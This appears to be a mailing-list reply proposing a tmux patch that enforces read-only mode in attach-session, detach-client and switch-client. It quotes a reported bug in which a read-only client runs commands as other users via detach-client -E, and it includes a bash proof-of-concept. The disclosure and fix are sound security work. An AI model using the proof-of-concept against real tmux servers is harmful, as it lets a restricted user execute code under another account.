Try this please (also attached):
Index: cmd-attach-session.c
===================================================================
RCS file: /cvs/src/usr.bin/tmux/cmd-attach-session.c,v
diff -u -p -r1.89 cmd-attach-session.c
--- cmd-attach-session.c 6 Jul 2022 08:40:52 -0000 1.89
+++ cmd-attach-session.c 21 May 2026 07:25:03 -0000
@@ -61,6 +61,7 @@ cmd_attach_session(struct cmdq_item *ite
struct window_pane *wp;
char *cwd, *cause;
enum msgtype msgtype;
+ uid_t uid;
if (RB_EMPTY(&sessions)) {
cmdq_error(item, "no sessions");
@@ -106,8 +107,16 @@ cmd_attach_session(struct cmdq_item *ite
}
if (fflag)
server_client_set_flags(c, fflag);
- if (rflag)
+ if (rflag) {
+ if (c->flags & CLIENT_READONLY) {
+ uid = proc_get_peer_uid(c->peer);
+ if (uid != getuid()) {
+ cmdq_error(item, "client is read-only");
+ return (CMD_RETURN_ERROR);
+ }
+ }
c->flags |= (CLIENT_READONLY|CLIENT_IGNORESIZE);
+ }
c->last_session = c->session;
if (c->session != NULL) {
Index: cmd-detach-client.c
===================================================================
RCS file: /cvs/src/usr.bin/tmux/cmd-detach-client.c,v
diff -u -p -r1.38 cmd-detach-client.c
--- cmd-detach-client.c 21 Mar 2024 11:27:18 -0000 1.38
+++ cmd-detach-client.c 21 May 2026 07:25:03 -0000
@@ -59,10 +59,12 @@ cmd_detach_client_exec(struct cmd *self,
{
struct args *args = cmd_get_args(self);
struct cmd_find_state *source = cmdq_get_source(item);
+ struct client *c = cmdq_get_client(item);
struct client *tc = cmdq_get_target_client(item), *loop;
struct session *s;
enum msgtype msgtype;
const char *cmd = args_get(args, 'E');
+ uid_t uid;
if (cmd_get_entry(self) == &cmd_suspend_client_entry) {
server_client_suspend(tc);
@@ -75,6 +77,10 @@ cmd_detach_client_exec(struct cmd *self,
msgtype = MSG_DETACH;
if (args_has(args, 's')) {
+ if (c->flags & CLIENT_READONLY) {
+ cmdq_error(item, "client is read-only");
+ return (CMD_RETURN_ERROR);
+ }
s = source->s;
if (s == NULL)
return (CMD_RETURN_NORMAL);
@@ -90,6 +96,10 @@ cmd_detach_client_exec(struct cmd *self,
}
if (args_has(args, 'a')) {
+ if (tc->flags & CLIENT_READONLY) {
+ cmdq_error(item, "client is read-only");
+ return (CMD_RETURN_ERROR);
+ }
TAILQ_FOREACH(loop, &clients, entry) {
if (loop->session != NULL && loop != tc) {
if (cmd != NULL)
Index: cmd-switch-client.c
===================================================================
RCS file: /cvs/src/usr.bin/tmux/cmd-switch-client.c,v
diff -u -p -r1.73 cmd-switch-client.c
--- cmd-switch-client.c 27 Feb 2026 08:25:12 -0000 1.73
+++ cmd-switch-client.c 21 May 2026 07:25:04 -0000
@@ -20,6 +20,7 @@
#include <stdlib.h>
#include <string.h>
+#include <unistd.h>
#include "tmux.h"
@@ -53,6 +54,7 @@ cmd_switch_client_exec(struct cmd *self,
const char *tflag = args_get(args, 't');
enum cmd_find_type type;
int flags;
+ struct client *c = cmdq_get_client(item);
struct client *tc = cmdq_get_target_client(item);
struct session *s;
struct winlink *wl;
@@ -61,6 +63,7 @@ cmd_switch_client_exec(struct cmd *self,
const char *tablename;
struct key_table *table;
struct sort_criteria sort_crit;
+ uid_t uid;
if (tflag != NULL &&
(tflag[strcspn(tflag, ":.%")] != '\0' || strcmp(tflag, "=") == 0)) {
@@ -77,6 +80,13 @@ cmd_switch_client_exec(struct cmd *self,
wp = target.wp;
if (args_has(args, 'r')) {
+ if (tc->flags & CLIENT_READONLY) {
+ uid = proc_get_peer_uid(c->peer);
+ if (uid != getuid()) {
+ cmdq_error(item, "client is read-only");
+ return (CMD_RETURN_ERROR);
+ }
+ }
if (tc->flags & CLIENT_READONLY)
tc->flags &= ~(CLIENT_READONLY|CLIENT_IGNORESIZE);
else
On Wed, May 20, 2026 at 04:53:00PM -0600, John Walker wrote:
> Hello,
> I think I may have discovered two minor security tmux bugs, both of which
> relate to the enforcement of read only mode.
> The first is in detach-client, which has the CMD_READONLY flag set, and is
> therefore able to be run by read only clients.
> This command accepts a -E argument with a shell command to run to replace
> the session being closed.A A
> At first blush this seems harmless.A If a user is detaching their own
> session, this just runs a shell command locally for them.A However,
> detach-client also exposes a -a and -s options that allow the user to
> detach all clients from other sessions.A This is potentially already a
> violation of the intent of CMD_READONLY, but combined with -E, it allows
> the read only user to run an arbitrary command as any user connected to
> tmux after disconnecting their session.
> I've included a script below that reproduces the issue.
> The second potential bug has to do with the switch-client command, which
> is also a CMD_READONLY command allowed in read only sessions.A This
> command includes a -r option which can toggle the read only mode of a
> session.A As a result, a user can "upgrade" their own session to full
> read write.
> Thanks,
> -John
> Script to reproduce detatch-client issue:
> #!/bin/bash
> # PoC: a read-only ACL user gains code execution as a read-write client
> # via `detach-client -t <victim-tty> -E "<cmd>"`.
> #
> # Why it works: detach-client carries CMD_READONLY at the cmd_entry level,
> # but its -E option forwards an arbitrary shell command to the target
> # client(s), which then execve() it. The readonly gate in
> # server_client_dispatch_command() (server-client.c) only inspects the
> # command flag, not the -E capability. The -t branch in
> # cmd_detach_client_exec() has no `loop != tc` filter, so a readonly
> client
> # can target any other client directly.
> #
> # Run as root on a Linux host. Needs two non-root users (defaults
> alice/bob)
> # and a tmux binary. Tested against tmux next-3.7.
> set -eu
>
> TMUX=${TMUX:-tmux}
> A=${A:-alice} A A A A A A A A A # victim (read-write owner)
> B=${B:-bob} A A A A A A A A A A # attacker (read-only via ACL)
> SOCK=/tmp/tmux-repro.sock
> MARK=/tmp/tmux-repro.pwned
>
> rm -f "$SOCK" "$MARK" "$MARK.full"
>
> # Alice starts a server + session, opens the socket to Bob's UID,
> # and grants Bob read-only ACL access.
> runuser -u "$A" -- "$TMUX" -S "$SOCK" new-session -d -s s 'sleep 9999'
> chmod 0666 "$SOCK"
> runuser -u "$A" -- "$TMUX" -S "$SOCK" server-access -a -r "$B"
>
> # Alice attaches a real client in the background. tmux needs a pty;
> # `script` provides one.
> runuser -u "$A" -- bash -c "
> A TERM=xterm-256color setsid script -qfc '$TMUX -S $SOCK attach'
> /dev/null \
> A A A </dev/null >/dev/null 2>&1 &
> "
> sleep 1
>
> # Confirm Bob's client is treated as read-only.
> echo "ACL:"
> runuser -u "$A" -- "$TMUX" -S "$SOCK" server-access -l
>
> # Bob (read-only) enumerates the victim tty via list-clients
> (CMD_READONLY)
> # and then fires the bypass.
> TTY=$(runuser -u "$B" -- "$TMUX" -S "$SOCK" list-clients -F
> '#{client_tty}')
> echo "victim tty: $TTY"
>
> runuser -u "$B" -- "$TMUX" -S "$SOCK" detach-client -t "$TTY" \
> A A -E "id -un > $MARK; id > $MARK.full"
> echo "bob's detach-client exit: $?"
> sleep 1
>
> echo
> echo "Marker file (should be owned by $A and contain '$A'):"
> ls -l "$MARK"
> echo -n " A whoami: "; cat "$MARK"
> echo -n " A id: A A "; cat "$MARK.full"